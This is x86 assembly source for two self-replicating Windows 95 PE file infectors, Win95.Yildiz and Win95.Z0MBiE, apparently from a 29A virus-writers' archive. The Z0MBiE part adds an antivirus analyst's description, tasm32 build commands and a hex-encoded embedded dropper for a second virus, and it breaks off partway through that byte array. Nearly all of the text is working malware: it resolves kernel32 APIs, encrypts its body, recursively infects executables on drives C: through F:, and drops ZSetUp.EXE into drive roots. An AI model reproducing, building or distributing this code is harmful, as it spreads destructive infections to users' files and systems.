Extrn MessageBoxA:Proc ; for first generation only
Extrn ExitProcess:Proc
.386p
.model flat
.data
dd 0 ; dummy data, you know...
.code
virus_start:
pushad ; save all registers
xchg edi, eax ; put delta offset to EDI (EAX=start
; offset of program by default)
mov eax, [esp+8*4] ; EAX=some address inside kernel32
sub esp, size stack_frame ; reserve room on stack
mov esi, esp ; set ESI to our data on the stack
search_kernel32:
xor ax,ax ; we assume the least significant
; word of the kernel32 base is zero
cmp word ptr [eax], "ZM" ; is there a MZ header ?
JE found_kernel32 ; if yes, we found the correct
; kernel32 base address
dec eax ; 0BFF80000->0BFF7FFFF, and then the
; least significant word is zeroed
JMP search_kernel32 ; check next possible kernel32 base
tmp_filename db "Yildiz", 0
filespec db "*.EXE", 0
found_kernel32:
mov ebx, [eax+3Ch] ; EBX=kernel32 PE header RVA
add ebx, eax ; EBX=offset of kernel32 PE header
mov ebx, [ebx+120] ; EBX=export table RVA
mov ebx, [ebx+eax+1Ch] ; EBX=Address array of API RVAs
mov ebx, [ebx+eax] ; get the first API RVA: VxDCall0
add ebx, eax ; EBX=Offset VxDCall0 API
mov [esi.VxDCall0], ebx ; save it
lea ebp, [edi+int21h-virus_start] ; EBP=offset of our int21h procedure
; for optimisation reasons, the
; CALL EBP instruction is just 2 bytes
; ----- GO TSR --------------------------------------------------------------
lea edx, [edi+tmp_filename-virus_start] ; EDX=pointer to tmp filename
push edx ; save it on stack
push eax ; save kernel32 base address on stack
mov ah, 3Ch ; create temp file
xor ecx, ecx ; no attributes
call ebp ; call our int 21h procedure
xchg ebx, eax ; filehandle to EBX, where it belongs
pop edx ; EDX=kernel32 base address
push edx ; save it again
call write_file ; write start of kernel32 to temp file
call infect ; infect the temp file
pop edx ; EDX=kernel32 base address
mov ah, 3Fh ; read infected kernel32 fileststart
call read_write ; into kernel32 memory
mov ah, 3Eh ; close temp file
call ebp ; call our int 21h procedure
pop edx ; EDX=pointer to temp filename
mov ah, 41h ; delete temp file
call ebp ; call our int 21h procedure
; ----- INFECT ALL FILES IN CURRENT DIR -------------------------------------
mov ah, 2Fh ; get DTA
call ebp ; call our int 21h procedure
push es ; save DTA address to stack
push ebx
push ds ; ES=DS (standart data segment)
pop es
mov ah, 1Ah ; set DTA to our data area
lea edx, [esi.dta] ; DS:EDX=new DTA adress
call ebp ; call our int 21h procedure
mov ah, 4Eh ; find first file
xor ecx, ecx ; only files with standart attributes
lea edx, [edi+(filespec-virus_start)] ; EDX=offset of filespec
findfile_loop:
call ebp ; call our int 21h procedure
JC all_done ; no more files found?
mov ax, 3D02h ; open victim file for read and write
lea edx, [esi.dta+1Eh] ; DS:EDX=pointer to filename in DTA
call ebp ; call our int 21h procedure
xchg ebx, eax ; handle to EBX, where it belongs
call infect ; infect the file
mov ah, 3Eh ; close the victim file
call ebp ; call our int 21h procedure
search_on:
mov ah, 4Fh ; find next file
JMP findfile_loop
; ----- RESTORE HOST --------------------------------------------------------
all_done:
pop edx ; restore old DTA offset in DS:EDX
pop ds
mov ah, 1Ah ; reset DTA to old address
call ebp ; call our int 21h procedure
push es ; DS=ES (standart data segment)
pop ds
add esp, size stack_frame ; remove our data buffer from stack
popad ; restore all registers
db 05h ; add eax, imm32
entry_RVA_difference dd (host-virus_start) ; difference between host and
; virus entrypoint (EAX is virus
; entrypoint offset by default)
JMP eax ; jump to host entrypoint
; ----- END MAIN PART OF THE VIRUS CODE -------------------------------------
exit_infect:
pop edi ; restore EDI (delta offset)
RET ; return to caller
; ----- INFECT AN OPENED FILE (HANDLE IN BX) --------------------------------
infect:
push edi ; save EDI (delta offset)
mov edx, esi ; EDX=read/write buffer offset
mov ah, 3Fh ; read start of file
call read_write
cmp word ptr [esi], "ZM" ; is it an exe file ?
JNE exit_infect ; cancel infection if not
mov ecx, [esi+3Ch] ; ECX=new header RVA
cmp ecx, 3*1024 ; check if DOS stub is small enough
; so that all the PE header is in
; our buffer
JA exit_infect ; if not, cancel infection
lea edi, [esi+ecx] ; EDI=PE header offset in memory
cmp word ptr [edi], "EP" ; is it an PE file ?
; (I know that the PE marker is
; actually a dword, but by only
; checking one word we save a byte
; of virus code)
JNE exit_infect ; cancel infection if not
cmp dword ptr [edi+28h], 4096 ; check if entrypoint RVA is in the
; first 4 KB of the file
JB exit_infect ; if yes, the file must be already
; infected, cancel infection
add ecx, 24 ; add size of FileHeader
movzx eax, word ptr [edi+14h] ; EAX=size of Optional header
add ecx, eax ; add it to ECX
movzx eax, word ptr [edi+6] ; EAX=NumberOfSections
imul eax, eax, 40 ; get size of section headers to EAX
add ecx, eax ; add it to ECX, now it points to the
; end of the used part of the PE
; header, where the virus will be.
mov edx, ecx ; EDX=virus RVA
xchg dword ptr [edi+28h], edx ; set it as new entrypoint RVA
sub edx, ecx ; EDX=difference between old and new
; entrypoint RVA
mov eax, [edi+54h] ; EAX=SizeOfHeaders (aligned to
; FileAlign)
lea edi, [esi+ecx] ; EDI=virus offset in buffer
sub eax, ecx ; EAX=free room for us to use
mov cx, virus_size ; ECX=size of virus (the most
; significant word of ECX should be 0)
cmp eax, ecx ; enough room for the virus ?
JL exit_infect ; cancel infection if not
pop eax ; EAX=delta offset
push eax ; save it again to stack
xchg esi, eax ; ESI=delta offset, EAX=data buffer
cld ; clear direction flag
rep movsb ; move virus body into buffer
xchg esi, eax ; ESI=pointer to our data on stack
mov [edi-(virus_end-entry_RVA_difference)], edx ; store difference
; between old and new entrypoint
pop edi ; restore EDI (delta offset)
mov edx, esi ; EDX=offset of read/write buffer
; now write modified start of file,
; then return to caller
write_file:
mov ah, 40h ; write to file
read_write:
xor ecx, ecx ; ECX=0
pushad ; save all registers
xor eax, eax ; EAX=4200h (set filepointer from
mov ah, 42h ; start of the file
cdq ; CX:DX=0 (new filepointer)
call ebp ; call our int 21h procedure
popad ; restore all registers
mov ch, 10h ; ECX=4096 (size of read/write buffer)
; now execute int 21h and return
int21h: ; protected mode int21
push ecx ; push parameters
push eax
push 2A0010h ; VWIN32_Int21Dispatch function
call ss:[esi.VxDCall0] ; call VxDCall0 API
ret
virus_end:
; This is our data that will be stored on the stack:
stack_frame struc
buffer db 4096 dup(?)
dta db 43 dup(?)
VxDCall0 dd ?
stack_frame ends
host:
push 0
push offset caption
push offset message
push 0
call MessageBoxA
push 0
call ExitProcess
caption db "Win95.Yildiz Virus (c) 2000 Black Jack", 0
message db "first generation dropper", 0
end virus_start

View File

@ -0,0 +1,979 @@
;
; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
; ³ Win95.Z0MBiE ³
; ³ v1.01, by Z0MBiE ³
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
;
; This is the first collaboration of the russian virus writer Z0MBiE to 29A,
; and also his first Win95 PE infector. It is an encrypted runtime PE infec-
; tor which, after having decrypted its body, locates KERNEL32.DLL and then
; looks in its export table for the address of the API functions used it the
; viral code. This virus has also the feature which consists on looking for
; files to infect in the Windows directory as well as in other units. PE in-
; fection consists on adding a new section (called .Z0MBiE) to infected exe-
; cutables and creating an entry point in it for the virus code. Last but
; not least, Win95.Z0MBiE, after having infected files in a given drive, in-
; serts a dropper called ZSetUp.EXE in the root directory. This file is ac-
; tually a dropper of the Z0MBiE.1922 virus, also included in this issue of
; 29A, in the "Viruses" section of the magazine. Its peculiarities are des-
; cribed there, together with the analysis of Igor Daniloff, same as the one
; which follows, describing the behavior of Win95.ZOMBiE.
;
;
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
; Win95.Zombie
;
; Igor Daniloff
; DialogueScience
;
; Win95.Zombie is a nondestructive nonresident encrypted virus which
; infects PortableExecutable EXE files. On starting an infected file,
; the virus decryptor explodes the main virus body and passes control
; to it. The main virus body determines the location of KERNEL32 Export
; Table in memory and saves in its code the address of WIN32 KERNEL API
; functions that are essential for infecting files.
;
; Then the virus determines the command line of the currently-loaded
; infected program and loads it once again through the WinExec function.
; The second virus copy then infects the system. The first virus copy
; (that started a second copy the infected program), after completing
; the WinExec procedure, returns control to the host program.
;
; To infect PE EXE files, the virus scans the Windows system folder and
; also takes peeps into all other folders in drives C:, D:, E:, and F:.
; On detecting a PE EXE file, the virus analyzes the file. If all is well,
; the file is infected. Win95.Zombie creates a new segment section .Z0MBiE
; in the PE header, sets an entry point to it, and appends a copy of the
; encrypted code at the file end which is within the limits of the region
; of this segment section. After infecting the logical drive, the virus
; creates a dropper file ZSetUp.EXE in the root directory and assigns it
; ARCHIVE and SYSTEM attributes. In this file, Win95.Zombie plants a
; Zombie.1922 virus code. The virus contains a few text strings:
;
; Z0MBiE 1.01 (c) 1997
; My 2nd virii for mustdie
; Tnx to S.S.R.
;
; Z0MBiE`1668 v1.00 (c) 1997 Z0MBiE
; Tnx to S.S.R.
; ShadowRAM/Virtual Process Infector
; ShadowRAM Technology (c) 1996,97 Z0MBiE
;
; code................1398
; viriisize...........4584
; virtsize............8936
;
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
;
;
; Compiling it
; ÄÄÄÄÄÄÄÄÄÄÄÄ
; tasm32 -ml -m5 -q -zn zombie.asm
; tlink32 -Tpe -c -x -aa zombie.obj,,, import32.lib
; pewrsec zombie.exe
;
; - -[ZOMBIE.ASM] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
.386
locals
jumps
.model flat
extrn ExitProcess:PROC
extrn MessageBoxA:PROC
kernel equ 0BFF70000H
FILE_ID equ 'Z0'
PORT_ID equ 'Z'
.data
sux db 'mustdie'
.code
start:
call codestart
lea ebp, [eax - 401000H]
lea edx, codestart[ebp]
cryptn equ (viriisize-decrsize+3) / 4
mov ecx, cryptn
@@1: neg dword ptr [edx]
xor dword ptr [edx], 12345678h
xorword equ dword ptr $-4
sub edx, -4
loop @@1
jmp codestart
align 4
decrsize equ $-start
codestart: lea ebp, [eax - 401000H]
sub eax, 12345678h
subme equ dword ptr $-4
push eax
call analizekernel
call first
in al, 81h
cmp al, PORT_ID
je exit_to_program
in al, 80h
cmp al, PORT_ID
je infect
mov al, PORT_ID
out 80h, al
call ExecExe
exit_to_program: ret
infect: mov al, -1
out 80h, al
; call _GetModuleHandleA
; push 9
; push eax
; call _SetPriorityClass
; infect windows directory
lea edx, infdir[ebp]
call getwindir
lea edx, infdir[ebp]
call setdir
call infectdir
; recursive infect
lea edx, drive_c[ebp]
call recinfect1st
call createsetup
lea edx, drive_d[ebp]
call recinfect1st
call createsetup
lea edx, drive_e[ebp]
call recinfect1st
call createsetup
lea edx, drive_f[ebp]
call recinfect1st
call createsetup
mov al, PORT_ID
out 81h, al
exit_to_mustdie: push -1
call _ExitProcess
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ subprograms ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
createsetup: lea edx, zsetup[ebp]
call createfile
lea edx, z[ebp]
mov ecx, z_size
call writefile
call closefile
ret
first: pop edi
mov byte ptr [edi-5], 0b9h ; mov ecx, xxxxxxxx
mov byte ptr start[ebp], 0b9h
call infectfile
jmp exit_to_mustdie
ExecExe: call _GetCommandLineA
SW_NORMAL equ 1
push SW_NORMAL
push eax
call _WinExec
ret
recinfect1st: call setdir
recinfect: call infectdir
lea eax, win32_data_thang[ebp]
push eax
lea eax, dirfiles[ebp]
push eax
call _FindFirstFileA
mov edi, eax
inc eax
jz @@nomorefiles
@@processfile: lea eax, fileattr[ebp]
mov al, [eax]
cmp al, 10h ; directory ?
jne @@findnext
lea edx, fullname[ebp]
cmp byte ptr [edx], '.'
je @@findnext
call setdir
push edi
lea edx, fullname[ebp]
call recinfect
pop edi
lea edx, prev_dir[ebp]
call setdir
@@findnext: lea eax, win32_data_thang[ebp]
push eax
push edi
call _FindNextFileA
or eax, eax
jnz @@processfile
@@nomorefiles: ret
nokerneldll:
nofunction:
exit: jmp $
analizekernel: mov esi, kernel
@@1: ; cmp esi, kernel + 040000h
; ja nokernelfunc
lea edi, kernel_sign[ebp]
mov ecx, kernel_sign_size
rep cmpsb
jne @@1
kernelfound: sub esi, kernel_sign_size
mov kernel_call[ebp], esi
mov esi, kernel
lodsw
cmp ax, 'ZM'
jne nokerneldll
add esi, 003Ch-2
lodsd
lea esi, [esi + eax - 3ch - 4]
lodsd
cmp eax, 'EP'
jne nokerneldll
add esi, 78h-4 ; esi=.edata
lodsd
add eax, kernel + 10h
xchg esi, eax
lodsd
lodsd
lodsd
mov funcnum[ebp], eax
lodsd
add eax, kernel
mov entrypointptr[ebp], eax
lodsd
add eax, kernel
mov nameptr[ebp], eax
lodsd
add eax, kernel
mov ordinalptr[ebp], eax
lea edx, names[ebp]
lea edi, fns[ebp]
@@1: push edi
call findfunction
pop edi
inc edi ; 68
stosd
add edi, 6 ; jmp kernel_call[ebp]
mov edx, esi
cmp byte ptr [esi], 0
jne @@1
ret
findfunction: mov ecx, 12345678h
funcnum equ dword ptr $-4
xor ebx, ebx
findnextfunc: mov esi, edx
mov edi, [ebx + 12345678h]
nameptr equ dword ptr $-4
add edi, kernel
@@2: cmpsb
jne @@1
cmp byte ptr [esi-1], 0
jne @@2
; found
shr ebx, 1
movzx eax, word ptr [ebx + 12345678h]
ordinalptr equ dword ptr $-4
shl eax, 2
mov eax, [eax + 12345678h]
entrypointptr equ dword ptr $-4
add eax, kernel
ret
@@1: add ebx, 4
loop findnextfunc
jmp nofunction
infectdir: lea eax, win32_data_thang[ebp]
push eax
lea eax, exefiles[ebp]
push eax
call _FindFirstFileA
mov searchhandle[ebp], eax
inc eax
jz @@exit
@@next: call infectfile
lea eax, win32_data_thang[ebp]
push eax
push 12345678h
searchhandle equ dword ptr $-4
call _FindNextFileA
or eax, eax
jnz @@next
@@exit: ret
; input: ECX=file attr
; EDX=file
; output: EAX=handle
openfile: push 0
push ecx
push 3 ; OPEN_EXISTING
push 0
push 0
push 80000000h + 40000000h
push edx
call _CreateFileA
mov handle[ebp], eax
ret
; input: EDX=file
; output: EAX=handle
createfile: push 0
push ecx
push 1 ; CREATE
push 0
push 0
push 80000000h + 40000000h
push edx
call _CreateFileA
mov handle[ebp], eax
ret
seekfile: push 0
push 0
push edx
push handle[ebp]
call _SetFilePointer
ret
closefile: push handle[ebp]
call _CloseHandle
ret
; input: ECX=bytes to read
; EDX=buf
readfile: push 0
lea eax, bytesread[ebp]
push eax
push ecx
push edx
push handle[ebp]
call _ReadFile
ret
; input: ECX=bytes to read
; EDX=buf
writefile: push 0
lea eax, bytesread[ebp]
push eax
push ecx
push edx
push handle[ebp]
call _WriteFile
ret
; input: EDX=offset directory (256 byte)
getdir: cld
push edx
push 255
call _GetCurrentDirectoryA
ret
; input: EDX=directory
setdir: push edx
call _SetCurrentDirectoryA
ret
getwindir: cld
push 255
push edx
call _GetWindowsDirectoryA
ret
infectfile: in al, 82h
cmp al, PORT_ID
jne @@continue
lea eax, fullname[ebp]
cmp dword ptr [eax], 'BM0Z'
jne @@exit
@@continue: mov ecx, fileattr[ebp]
lea edx, fullname[ebp]
call openfile
inc eax
jz @@exit
; goto the dword that stores the location of the pe header
mov edx, 3Ch
call seekfile
; read in the location of the pe header
mov ecx, 4
lea edx, peheaderoffset[ebp]
call readfile
; goto the pe header
mov edx, peheaderoffset[ebp]
call seekfile
; read in enuff to calculate the full size of the pe header and object table
mov ecx, 256
lea edx, peheader[ebp]
call readfile
; make sure it is a pe header and is not already infected
cmp dword ptr peheader[ebp],'EP'
jne @@close
cmp word ptr peheader[ebp] + 4ch, FILE_ID
je @@close
cmp dword ptr peheader[ebp] + 52, 00400000h
jne @@close
; go back to the start of the pe header
mov edx, peheaderoffset[ebp]
call seekfile
; read in the whole pe header and object table
lea edx, peheader[ebp]
mov ecx, headersize[ebp]
cmp ecx, maxbufsize
ja @@close
call readfile
mov word ptr peheader[ebp] + 4ch, FILE_ID
; locate offset of object table
xor eax, eax
mov ax, NtHeaderSize[ebp]
add eax, 18h
mov objecttableoffset[ebp],eax
; calculate the offset of the last (null) object in the object table
mov esi, objecttableoffset[ebp]
lea eax, peheader[ebp]
add esi, eax
xor eax, eax
mov ax, numObj[ebp]
mov ecx, 40
xor edx, edx
mul ecx
add esi, eax
inc numObj[ebp] ; inc the number of objects
lea edi, newobject[ebp]
xchg edi,esi
; calculate the Relative Virtual Address (RVA) of the new object
mov eax, [edi-5*8+8]
add eax, [edi-5*8+12]
mov ecx, objalign[ebp]
xor edx,edx
div ecx
inc eax
mul ecx
mov RVA[ebp], eax
; calculate the physical size of the new object
mov ecx, filealign[ebp]
mov eax, viriisize
xor edx, edx
div ecx
inc eax
mul ecx
mov physicalsize[ebp],eax
; calculate the virtual size of the new object
mov ecx, objalign[ebp]
mov eax, virtsize
xor edx,edx
div ecx
inc eax
mul ecx
mov virtualsize[ebp],eax
; calculate the physical offset of the new object
mov eax,[edi-5*8+20]
add eax,[edi-5*8+16]
mov ecx, filealign[ebp]
xor edx,edx
div ecx
inc eax
mul ecx
mov physicaloffset[ebp],eax
; update the image size (the size in memory) of the file
mov eax, virtsize
add eax, imagesize[ebp]
mov ecx, objalign[ebp]
xor edx, edx
div ecx
inc eax
mul ecx
mov imagesize[ebp],eax
; copy the new object into the object table
mov ecx, 40/4
rep movsd
; calculate the entrypoint RVA
mov eax, RVA[ebp]
mov ebx, entrypointRVA[ebp]
mov entrypointRVA[ebp], eax
sub eax, ebx
; Set the value needed to return to the host
mov subme[ebp], eax
; go back to the start of the pe header
mov edx, peheaderoffset[ebp]
call seekfile
; write the pe header and object table to the file
mov ecx, headersize[ebp]
lea edx, peheader[ebp]
call writefile
; move to the physical offset of the new object
mov edx, physicaloffset[ebp]
call seekfile
; write the virus code to the new object
call random
mov xorword[ebp], eax
lea edx, start[ebp]
mov ecx, decrsize
call writefile
lea esi, codestart[ebp]
lea edi, buf[ebp]
mov ecx, cryptn
@@1: lodsd
xor eax, xorword[ebp]
neg eax
stosd
loop @@1
lea edx, buf[ebp]
mov ecx, viriisize-decrsize
call writefile
@@close: call closefile
@@exit: ret
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 32-bit random number generator ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; output: eax=rnd
; zf=rnd(2)
random: call random16bit
shl eax, 16
random16bit: push ebx
mov bx, 1234h
rndword equ word ptr $-2
in al, 40h
xor bl, al
in al, 40h
add bh, al
in al, 41h
sub bl, al
in al, 41h
xor bh, al
in al, 42h
add bl, al
in al, 42h
sub bh, al
mov rndword[ebp], bx
xchg bx, ax
pop ebx
test al, 1
ret
; input: eax
; output: eax=rnd(eax)
; zf=rnd(2)
rnd: push ebx
push edx
xchg ebx, eax
call random
xor edx, edx
div ebx
xchg edx, eax
pop edx
pop ebx
test al, 1
ret
codesize equ $-start
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ data area ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
kernel_sign: pushfd ; <- kernel
cld
push eax
push ebx
push edx
kernel_sign_size equ $-kernel_sign
kernel_call dd ?
names: db 'ExitProcess',0
db 'FindFirstFileA',0
db 'FindNextFileA',0
db 'CreateFileA',0
db 'SetFilePointer',0
db 'ReadFile',0
db 'WriteFile',0
db 'CloseHandle',0
db 'GetCurrentDirectoryA',0
db 'SetCurrentDirectoryA',0
db 'GetWindowsDirectoryA',0
db 'GetCommandLineA',0
db 'WinExec',0
db 'SetPriorityClass',0
db 'GetModuleHandleA',0
db 0
fns:
def_fn macro name
_&name&: db 68h
fn_&name& dd ?
jmp kernel_call[ebp]
endm
def_fn ExitProcess
def_fn FindFirstFileA
def_fn FindNextFileA
def_fn CreateFileA
def_fn SetFilePointer
def_fn ReadFile
def_fn WriteFile
def_fn CloseHandle
def_fn GetCurrentDirectoryA
def_fn SetCurrentDirectoryA
def_fn GetWindowsDirectoryA
def_fn GetCommandLineA
def_fn WinExec
def_fn SetPriorityClass
def_fn GetModuleHandleA
bytesread dd ?
drive_c db 'C:\',0
drive_d db 'D:\',0
drive_e db 'E:\',0
drive_f db 'F:\',0
exefiles db '*.EXE',0
dirfiles db '*.',0
prev_dir db '..',0
win32_data_thang:
fileattr dd 0
createtime dd 0,0
lastaccesstime dd 0,0
lastwritetime dd 0,0
filesize dd 0,0
resv dd 0,0
fullname db 'Z0MB.EXE',256-8 dup (0)
realname db 256 dup (0)
handle dd ?
peheaderoffset dd ?
objecttableoffset dd ?
newobject: ;1234567 8
oname db '.Z0MBiE',0
virtualsize dd 0
RVA dd 0
physicalsize dd 0
physicaloffset dd 0
reserved dd 0,0,0
objectflags db 40h,0,0,0c0h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ messages ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
db 13,10,'Z0MBiE 1.01 (c) 1997',13,10
db 'My 2nd virii for mustdie',13,10
db 'Tnx to S.S.R.',13,10
m1 macro n
if n ge 100000
db n / 10000/10 mod 10 + '0'
else
db '.'
endif
if n ge 10000
db n / 10000 mod 10 + '0'
else
db '.'
endif
if n ge 1000
db n / 1000 mod 10 + '0'
else
db '.'
endif
db n / 100 mod 10 + '0'
db n / 10 mod 10 + '0'
db n / 1 mod 10 + '0',13,10
endm
; ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
zsetup db '\ZSetUp.EXE',0
z:
include z.inc ; Z0MBiE.1922
z_size equ $-z
; ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
db 13,10
db 'code..............'
m1 codesize
db 'viriisize.........'
m1 viriisize
db 'virtsize..........'
m1 virtsize
peheader:
signature dd 0
cputype dw 0
numObj dw 0
dd 3 dup (0)
NtHeaderSize dw 0
Flags dw 0
dd 4 dup (0)
entrypointRVA dd 0
dd 3 dup (0)
objalign dd 0
filealign dd 0
dd 4 dup (0)
imagesize dd 0
headersize dd 0
peheader_size equ $-peheader
align 4
viriisize equ $-start
infdir db 256 dup (?)
maxbufsize equ 4096
buf db maxbufsize dup (?)
virtsize equ $-start
end start
; - -[Z.INC]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
abc_size equ 1922 ; size in bytes
abc_num equ 1922 ; size in elements
abc db 0e9h,010h,001h,026h,0a0h,028h,000h,0f6h,0d0h,02eh,030h,006h,022h,001h
db 0beh,02bh,001h,08bh,0feh,0b9h,008h,000h,02eh,0ach,040h,0d1h,0e3h,00bh,0d8h
db 0e2h,0f7h,02eh,088h,01dh,047h,081h,0ffh,0adh,008h,075h,0eah,0ebh,000h,0e8h
db 056h,006h,0b8h,081h,0f0h,0cdh,013h,03dh,08ch,092h,074h,003h,0e8h,0d8h,000h
db 08ch,0c1h,083h,0c1h,010h,0b8h,034h,012h,003h,0c1h,08eh,0d0h,0bch,034h,012h
db 0b8h,034h,012h,003h,0c1h,050h,068h,034h,012h,033h,0c0h,0cbh,053h,0bbh,034h
db 012h,0e4h,040h,032h,0d8h,0e4h,040h,002h,0f8h,0e4h,041h,02ah,0d8h,0e4h,041h
db 032h,0f8h,0e4h,042h,002h,0d8h,0e4h,042h,02ah,0f8h,02eh,089h,01eh,058h,001h
db 093h,05bh,0a8h,001h,0c3h,053h,052h,093h,0e8h,0d4h,0ffh,033h,0d2h,0f7h,0f3h
db 092h,05ah,05bh,0a8h,001h,0c3h,051h,0b1h,059h,0e8h,04eh,000h,02eh,088h,02eh
db 0afh,001h,041h,0e8h,045h,000h,02eh,088h,02eh,0b5h,001h,041h,0e8h,03ch,000h
db 02eh,088h,02eh,0bbh,001h,059h,0c3h,090h,051h,0b9h,059h,000h,0e8h,03ah,000h
db 041h,0b5h,012h,0e8h,034h,000h,041h,0b5h,012h,0e8h,02eh,000h,059h,0c3h,051h
db 0b1h,059h,02eh,08ah,02eh,0afh,001h,080h,0e5h,08fh,080h,0cdh,030h,0e8h,01bh
db 000h,041h,0b5h,033h,0e8h,015h,000h,041h,0b5h,033h,0e8h,00fh,000h,059h,0c3h
db 066h,050h,052h,0e8h,014h,000h,0ech,08ah,0e8h,05ah,066h,058h,0c3h,066h,050h
db 052h,0e8h,007h,000h,08ah,0c5h,0eeh,05ah,066h,058h,0c3h,066h,0b8h,000h,000h
db 000h,080h,08ah,0c1h,024h,0fch,0bah,0f8h,00ch,066h,0efh,080h,0c2h,004h,08ah
db 0c1h,024h,003h,002h,0d0h,0c3h,01eh,006h,00eh,01fh,0fah,0fch,0e8h,070h,0ffh
db 0a0h,0afh,001h,0feh,0c0h,074h,058h,0e8h,0b8h,000h,075h,053h,0e8h,053h,000h
db 074h,00bh,0e8h,074h,000h,074h,006h,0e8h,07ch,000h,074h,001h,0c3h,0e8h,086h
db 0ffh,0b8h,042h,000h,0e8h,03bh,0ffh,003h,0e8h,083h,0c5h,00fh,083h,0e5h,0f0h
db 0c1h,0edh,004h,08ch,0c0h,003h,0c5h,02dh,010h,000h,08eh,0c0h,0bfh,000h,001h
db 0c6h,006h,082h,008h,0eah,0c7h,006h,083h,008h,017h,003h,08ch,006h,085h,008h
db 08ch,006h,0b6h,005h,0beh,000h,001h,0b9h,007h,008h,0f3h,0a4h,0e8h,035h,003h
db 0e8h,032h,0ffh,033h,0c0h,007h,01fh,0c3h,068h,000h,0c0h,007h,033h,0ffh,032h
db 0d2h,026h,08ah,075h,002h,0d1h,0e2h,073h,002h,0b6h,080h,081h,0eah,069h,008h
db 033h,0c0h,08bh,0efh,0b9h,025h,004h,0f3h,0afh,074h,004h,03bh,0fah,076h,0f3h
db 0c3h,0b8h,030h,011h,0b7h,002h,0cdh,010h,08ch,0c0h,03dh,000h,0c0h,0c3h,068h
db 000h,0c0h,007h,033h,0ffh,0b9h,00eh,000h,032h,0c0h,0f3h,0aeh,075h,015h,0b9h
db 010h,000h,0f3h,0aeh,026h,081h,07dh,0ffh,07eh,081h,075h,008h,026h,081h,07dh
db 00dh,07eh,0ffh,074h,006h,081h,0ffh,000h,0f0h,076h,0dch,08bh,0efh,0c3h,0b4h
db 013h,0cdh,02fh,08ch,0c1h,02eh,089h,01eh,02bh,003h,02eh,08ch,006h,02dh,003h
db 0cdh,02fh,081h,0f9h,000h,0f0h,0c3h,03dh,081h,0f0h,074h,019h,03dh,000h,04bh
db 074h,00fh,080h,0fch,043h,074h,00ah,080h,0fch,03dh,074h,005h,0eah,000h,000h
db 000h,000h,0e8h,048h,000h,0ebh,0f6h,0b8h,08ch,092h,0cfh,03dh,081h,0f0h,074h
db 0f7h,0e8h,0a2h,0feh,0e8h,089h,002h,02eh,0a3h,05ch,005h,0e8h,082h,0feh,09ch
db 09ah,000h,000h,000h,000h,09ch,0e8h,08eh,0feh,02eh,080h,03eh,05dh,005h,002h
db 075h,00dh,026h,081h,03fh,04dh,05ah,075h,003h,0e8h,0e4h,001h,0e8h,012h,002h
db 0e8h,060h,002h,0e8h,05dh,0feh,09dh,0cah,002h,000h,09ch,02eh,0ffh,01eh,00ah
db 003h,0c3h,0e8h,065h,0feh,02eh,0c6h,006h,0abh,001h,0c3h,060h,01eh,006h,0fch
db 0b8h,000h,03dh,0e8h,0e6h,0ffh,00fh,082h,066h,001h,093h,0b4h,03fh,00eh,01fh
db 0bah,087h,008h,0b9h,040h,000h,0e8h,0d4h,0ffh,03bh,0c1h,00fh,085h,04dh,001h
db 0a1h,087h,008h,03dh,04dh,05ah,074h,007h,03dh,05ah,04dh,00fh,085h,03eh,001h
db 080h,03eh,099h,008h,069h,00fh,084h,035h,001h,0b8h,000h,042h,033h,0c9h,08bh
db 016h,08fh,008h,0c1h,0e2h,004h,0e8h,0a7h,0ffh,0b4h,03fh,0bah,0bdh,003h,0b9h
db 002h,000h,0e8h,09ch,0ffh,03bh,0c1h,00fh,085h,015h,001h,0b8h,034h,012h,040h
db 00fh,084h,00dh,001h,053h,0b8h,020h,012h,0cdh,02fh,026h,08ah,01dh,0b8h,016h
db 012h,0cdh,02fh,05bh,026h,08bh,055h,013h,026h,08bh,045h,011h,00ah,0c0h,00fh
db 084h,0f5h,000h,0b9h,0e8h,003h,0f7h,0f1h,00bh,0d2h,00fh,084h,0eah,000h,026h
db 0c7h,045h,002h,002h,000h,00eh,007h,0a1h,08bh,008h,048h,0b9h,000h,002h,0f7h
db 0e1h,003h,006h,089h,008h,083h,0d2h,000h,08bh,0f0h,08bh,0fah,0b8h,002h,042h
db 099h,033h,0c9h,0e8h,041h,0ffh,03bh,0c6h,00fh,085h,0bah,000h,03bh,0d7h,00fh
db 085h,0b4h,000h,005h,00fh,000h,083h,0d2h,000h,024h,0f0h,02bh,0f0h,029h,036h
db 089h,008h,050h,052h,0c1h,0e8h,004h,0c1h,0e2h,00ch,00bh,0c2h,02bh,006h,08fh
db 008h,02dh,010h,000h,08bh,0c8h,087h,00eh,09dh,008h,089h,00eh,04bh,001h,0b9h
db 003h,001h,087h,00eh,09bh,008h,089h,00eh,051h,001h,08bh,0c8h,087h,00eh,095h
